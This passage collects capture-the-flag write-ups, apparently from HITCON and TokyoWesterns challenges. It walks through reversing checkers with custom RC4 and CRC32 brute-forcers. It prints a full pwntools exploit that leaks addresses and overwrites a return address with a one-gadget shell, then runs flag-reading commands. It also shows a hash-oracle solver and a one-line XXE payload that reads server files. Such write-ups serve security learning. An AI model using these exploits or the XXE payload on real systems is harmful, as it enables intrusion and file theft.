        box[iBox] = box[j];
        box[j] = swapTmp;

        result[i] = (byte)(box[(box[iBox] + box[j]) % 246]);
    }

    return result;
}

var rc4key = Conversion.HexToBytes(" 50 6C 33 61 73 5F 64 30  6E 27 74 5F 63 52 34 35   68 5F 31 6E 5F 2B 68 21 73 5F 66 55 6E 43 2B 31 30 6E  ".Replace(" ", ""));
var encFlag = Conversion.HexToBytes("2B 55 5D 93 A0 43 DD 14 43 52 7D E5  ".Replace(" ", ""));
var part4 = EncodingHelper.GetString(
                CryptoUtils.XorEqual(encFlag, CustomRc4(rc4key, encFlag.Length)));

This gave me the fourth part of the flag: L4g_1_Luv_y0.

Checker #5

The decompiled code:

__int64 __fastcall sub_555555756A00(char *input)
{
  int idx2; // eax
  int idx; // [rsp+Ch] [rbp-1Ch]
  signed int i; // [rsp+10h] [rbp-18h]
  unsigned int v5; // [rsp+14h] [rbp-14h]
  unsigned int v6; // [rsp+18h] [rbp-10h]

  idx = 0;
  v5 = 1;
  v6 = -1;
  while ( input[idx] )
  {
    idx2 = idx++;
    v6 ^= input[idx2];
    for ( i = 7; i >= 0; --i )
      v6 = (v6 >> 1) ^ -(v6 & 1) & 0xEDB88320;
  }
  if ( v6 != 0x29990129 )
    v5 = 0;
  return v5;
}

Hmmm, I did not really want to reverse this function, so I wrote a quick bruteforcer again.

I guessed the first character of the 4-byte input will be u as the last part ended with basically Love yo, so I had a pretty good guess, it will be Love you.

for (uint b1 = 0; b1 < 256; b1++)
for (uint b2 = 0; b2 < 256; b2++)
for (uint b3 = 0; b3 < 256; b3++)
{
    var v6 = (uint)0xffffffff;
    v6 ^= (byte)'u';
    for (var i = 7; i >= 0; --i)
        v6 = (uint)((v6 >> 1) ^ -(v6 & 1) & 0xEDB88320);
    v6 ^= b1;
    for (var i = 7; i >= 0; --i)
        v6 = (uint)((v6 >> 1) ^ -(v6 & 1) & 0xEDB88320);
    v6 ^= b2;
    for (var i = 7; i >= 0; --i)
        v6 = (uint)((v6 >> 1) ^ -(v6 & 1) & 0xEDB88320);
    v6 ^= b3;
    for (var i = 7; i >= 0; --i)
        v6 = (uint)((v6 >> 1) ^ -(v6 & 1) & 0xEDB88320);
    if (v6 == 0x29990129)
        Console.WriteLine($"Found! u{(char)b1}{(char)b2}{(char)b3}");
}

Which gave me the fifth and final part of the flag: u_<3.

The final flag

So putting all the parts together give me the full flag:

hitcon{tH4nK_U_s0_muCh_F0r_r3c0v3r1ng_+h3_fL4g_1_Luv_y0u_<3}

This pwn challenge had a really short code, so it did not require too much reverse engineering efforts: it could encrypt the program’s memory at any (relative) address and size with an unknown, but constant AES key and get the result of the encryption. This could be repeated at maximum of 32 times.

The challenge

The main contains every functionality which needed for understanding the challenge:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  signed int iRound; // [rsp+8h] [rbp-28h]
  __int64 offs; // [rsp+10h] [rbp-20h]
  size_t size; // [rsp+18h] [rbp-18h]
  void *buf; // [rsp+20h] [rbp-10h]
  unsigned __int64 canary; // [rsp+28h] [rbp-8h]

  canary = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  readkey(); // reads key.txt into AESkey (so the key is constant)
  for ( iRound = 0; iRound <= 31; ++iRound )
  {
    printf("offset:");
    if ( scanf("%llu", &offs) != 1 )
      break;
    printf("size:");
    if ( scanf("%llu", &size) != 1 )
      break;
    if ( size )
    {
      size = (size & 0xFFFFFFFFFFFFFFF0LL) + 16;
      buf = &g_buf[offs];
      AESencrypt(AESkey, &iv, &g_buf[offs], size);
      write(1, buf, size);
    }
  }
  return 0;
}

The .data and .bss looked like this:

.data:0000000000202000 __data_start    db 0, 0, 0, 0, 0, 0, 0, 0 ; Alternative name is '__data_start'
.data:0000000000202008 __dso_handle    dq offset __dso_handle  ; DATA XREF: __do_global_dtors_aux+17↑r
...
.bss:0000000000202340 __bss_start     dq ?  // == stdout
.bss:0000000000202350 stdin@@GLIBC_2_2_5 dq ?
.bss:0000000000202360 stderr@@GLIBC_2_2_5 dq ?
.bss:0000000000202380 AESkey          db ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?
.bss:0000000000202390 iv              db ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?
.bss:00000000002023A0 g_buf           db 140h dup(?)

The solution

  • First we encrypt the AES key itself and get the encryption’s result (thus the new AES key).
  • Now we can decrypt locally any encryption result we get back
  • We encrypt and leak __dso_handle’s value (addr = 0x202008), so we can calculate the program’s base address
    • this is needed as we can only write relative to g_buf which is on .bss
  • We encrypt and leak stderr’s value (addr = 0x202360), so we can calculate the libc’s base address
  • We leak a stack address from libc, so we know where is the iRound loop variable and where is the return address stored
  • We encrypt the iRound’s value which is fortunately a signed value, so we now can overwrite unlimited memory addresses
  • We brute-force the return address byte-by-byte (but without touching the canary) by blindly encrypting the return address’s value until we get the address of a one-gadget RCE

The exploit

# -*- coding: utf-8 -*-
from pwn import *
from Crypto.Cipher import AES

REMOTE = True

if REMOTE:
    p = remote("3.113.219.89", 31337)
else:
    p = process("./chall", aslr=True)
    
def query(relAddr, size=15):
    p.sendline(str(relAddr - bufAddr))
    p.sendlineafter("size:", str(size))
    return p.recvuntil("offset:", drop=True)

def enc(key, data, iv="\0"*16):
    return AES.new(key, AES.MODE_CBC, iv).encrypt(data)

def dec(key, data, iv="\0"*16):
    return AES.new(key, AES.MODE_CBC, iv).decrypt(data)

bssLeakAddr   = 0x202008
stderrAddr    = 0x202360
bufAddr       = 0x2023A0
ivAddr        = 0x202390 
keyAddr       = 0x202380
# a98:54c0│   0x7ffff7dd44c0 (__libc_argv) —▸ 0x7fffffffe4d8 —▸ 0x7fffffffe71f ◂— '/home/kt/ctf/hitcon19/crypto/chall'
key = query(keyAddr)
print "key = %r" % key

def leak(addr):
    return u64(dec(key, query(addr))[0:8])

stderr = leak(stderrAddr)
libcBase = stderr - 0x155555327680 + 0x155554f3b000
stackLeakAddr = libcBase + 0x3f04c0 # 0x15555532b4c0, 0x7ffff7dd44c0
print "stderr = 0x%x, libcBase = 0x%x, stackLeakAddr = 0x%x" % (stderr, libcBase, stackLeakAddr)

bssLeak = leak(bssLeakAddr)
prgBase = bssLeak - 0x555555756008 + 0x555555554000
bufAddr += prgBase # leak now works on absolute addresses
print "bssLeak = 0x%x, prgBase = 0x%x" % (bssLeak, prgBase)

stackArgvLeak = leak(stackLeakAddr)
loopVarAddr = stackArgvLeak - 0x7fffffffe4d8 + 0x7fffffffe3c8
retAddrAddr = stackArgvLeak - 0x7fffffffe4d8 + 0x7fffffffe3f8
print "stackArgvLeak = 0x%x, loopVarAddr = 0x%x, retAddrAddr = 0x%x" % (stackArgvLeak, loopVarAddr, retAddrAddr)

newLoopVar = query(loopVarAddr - 4)
print "new loop var: %r == %d" % (newLoopVar, u32(newLoopVar[0:4], sign="signed"))

# 0x7ffff7a05b97   retAddr     -->
# 0x7ffff7a332c5   oneGadget

oneGadgetAddr = libcBase + 0x4f2c5

oneGadgetBytes = p64(oneGadgetAddr)
for iByte in xrange(0,8):
    print "BRUTEFORCING RET ADDR BYTE #%d" % iByte
    while True:
        newRetAddrBytes = query(retAddrAddr + iByte)[0:8-iByte] # 0x97, 0x5b, 0xa0
        print "  new return address: %s (expected: %s)" % (newRetAddrBytes.encode('hex'), oneGadgetBytes.encode('hex'))
        if newRetAddrBytes[0] == oneGadgetBytes[iByte]:
            print "   => WIN!!!"
            break

p.sendline("ls")
p.sendline("ls")
p.sendline("ls /")
p.sendline("cat flag*")
p.sendline("cat /flag*")
p.sendline("cat /home/*/flag*")
p.interactive()

The flag

hitcon{is_tH15_A_crypTO_cha11eng3_too00oo0oo???}

In this challenge we got some Ruby code which could execute various actions (md5, sha1 and aes) on our input data which was provided in hex format and were converted to binary via the xxd utility.

The challenge

This was the code:

#!/usr/bin/env ruby
# encoding: ascii-8bit
# frozen_string_literal: true

require 'English'
require 'fileutils'
require 'securerandom'

FLAG_PATH = File.join(ENV['HOME'], 'flag')
DEFAULT_MODE = "sha1sum %s | awk '{ print $1 }'"

def setup
  STDOUT.sync = 0
  STDIN.sync = 0
  @mode = DEFAULT_MODE
  @file = '/tmp/' + SecureRandom.hex
  FileUtils.touch(@file)
  @key = output("sha256sum #{FLAG_PATH} | awk '{ print $1 }'").strip
  raise if @key.size != 32 * 2
end

def menu
  <<~MENU
    1) write
    2) read
    3) change output mode
    0) quit
  MENU
end

def output(cmd)
  IO.popen(cmd, &:gets)
end

def write
  puts 'Data? (In hex format)'
  data = gets
  return false unless data && !data.empty? && data.size < 0x1000

  IO.popen("xxd -r -ps - #{@file}", 'r+') do |f|
    f.puts data
    f.close_write
  end
  return false unless $CHILD_STATUS.success?

  true
end

def read
  unless File.exist?(@file)
    puts 'Write something first plz.'
    return true
  end

  puts output(format(@mode, @file))
  true
end

def mode_menu
  <<~MODE
    Which mode?
    - SHA1
    - MD5
    - AES
  MODE
end

def change_mode
  puts mode_menu
  @mode = case gets.strip.downcase
          when 'sha1' then "sha1sum %s | awk '{ print $1 }'"
          when 'md5' then "md5sum %s | awk '{ print $1 }'"
          when 'aes' then "openssl enc -aes-256-ecb -in %s -K #{@key} | xxd -ps"
          else DEFAULT_MODE
          end
end

def secret
  FileUtils.cp(FLAG_PATH, @file)
  true
end

def main_loop
  puts menu
  case gets.to_i
  when 1 then write
  when 2 then read
  when 3 then change_mode
  when 1337 then secret
  else false
  end
end

setup
begin
  loop while main_loop
  puts 'See ya!'
ensure
  FileUtils.rm_f(@file)
end 

The bug

After looking into what the English module does and trying to find out if xxd or md5sum or sha1sum can be tricked into doing something nasty based only on the input binary, all of these turned out to be wrong paths of solving the challenge.

Fortunately I found quickly that xxd does not truncate the input file when it writes into the file, so this call xxd -r -ps - #{@file} will keep the file’s original content and only overwrites the first few bytes that we provide.

This could be checked quickly by executing the following commands:

1
Data? (In hex format)
4141

2
801c34269f74ed383fc97de33604b8a905adb635

This is the correct result as sha1("AA") is indeed 801c34269f74ed383fc97de33604b8a905adb635.

But if continue with the following commands:

1
Data? (In hex format)
42

2
eb28d7ef234301a3371720ea0d790df1a9c4363a

Then we get sha1("BA") == "eb28d7ef234301a3371720ea0d790df1a9c4363a" instead of sha1("B") == "eb28d7ef234301a3371720ea0d790df1a9c4363a".

Of course we can also see that using the secret, not listed command 1337 sets our input file to the flag’s value.

The plan

So the plan is to overwrite our flag byte-by-byte and get the SHA1 hash of all these values then bruteforce offline the original flag bytes again byte-by-byte.

Here is an example:

             -> hitcon{ABCD} = 4bdb33b36816d73ecc714d698f161a07b2b4b593
_            -> _itcon{ABCD} = 4a582a61504a0cfd5ba786c2fc820da999ee25b9
__           -> __tcon{ABCD} = 720b2d9b846a76ed1696eb6f5df744545bf98e52
...
__________   -> __________D} = 8cd1a0e13e00b87c89c157a5f209f4c695ea1dda
___________  -> ___________} = 5a57868331393a400ad0ad0b1934b6592cf01ca5
____________ -> ____________ = 207f54f7d86a61d551a6495ea3e8d90053003579

From now on, we can brute-force the bytes offline:

We know that sha1("___________" + one_byte) should be 5a57868331393a400ad0ad0b1934b6592cf01ca5, so we can try every 0-255 byte value and we will find out that one_byte == '}'.

Then we can try to brute-force the previous byte as we know that sha1("__________" + other_byte + "}") should be 8cd1a0e13e00b87c89c157a5f209f4c695ea1dda and we find out that other_byte == 'D'.

And so on…

The solver code

The following code implements the previous bruteforcer and solves the challenge:

var tcp = new TcpTextClient("13.113.205.160", 21700);

// set flag as input 
tcp.ReadUntilEnds("0) quit\n");
tcp.WriteLine("1337");

void SetInput(string newValue)
{
    tcp.ReadUntilEnds("0) quit\n");
    tcp.WriteLine("1");
    tcp.ReadUntilEnds("Data? (In hex format)\n");
    tcp.WriteLine(Conversion.BytesToHex(EncodingHelper.GetBytes(newValue)));
}

string GetHash()
{
    tcp.ReadUntilEnds("0) quit\n");
    tcp.WriteLine("2");
    return tcp.ReadLine();
}

string Sha1(string value) => Conversion.BytesToHex(
    SHA1.Create().ComputeHash(EncodingHelper.GetBytes(value)));

var values = new Stack<string>();
while (true)
{
    var overwrite = new string('_', values.Count);
    SetInput(overwrite);
    var current = GetHash();
    if (current == Sha1(overwrite)) // no more characters left from the flag
        break;
    Console.WriteLine($"Got hash '{overwrite}' => {current}");
    values.Push(current);
}

var flag = "";
while (values.Count > 0)
{
    var currEncoded = values.Pop();
    var win = (char)Enumerable.Range(0, 256).Single(x => 
                Sha1(new string('_', values.Count) + (char)x + flag) == currEncoded);
    Console.WriteLine($"Found: {(byte)win} ('{win}')");
    flag = win + flag;
}

Console.WriteLine($"Flag = {flag}");

The flag

The solver gave us the flag:

hitcon{xxd?XDD!ed45dc4df7d0b79}

This was a simple JSON-to-XML / XML-to-JSON converter. The challenge was categorized as “warmup”, so to my not-that-big surprise the most basic XXE vulnerability worked as expected:

I used the following code (written into Chrome’s console) to leak the flag:

$.post('/', { xml: `<?xml version="1.0"?><!DOCTYPE foo [<!ELEMENT leak ANY><!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///var/www/html/flag.php">]><root><leak>&xxe;</leak></root>` }, function(data) { $('#json').val(atob(JSON.parse(data).leak)); });

The flag was:

TWCTF{t1ny_XXE_st1ll_ex1sts_everywhere}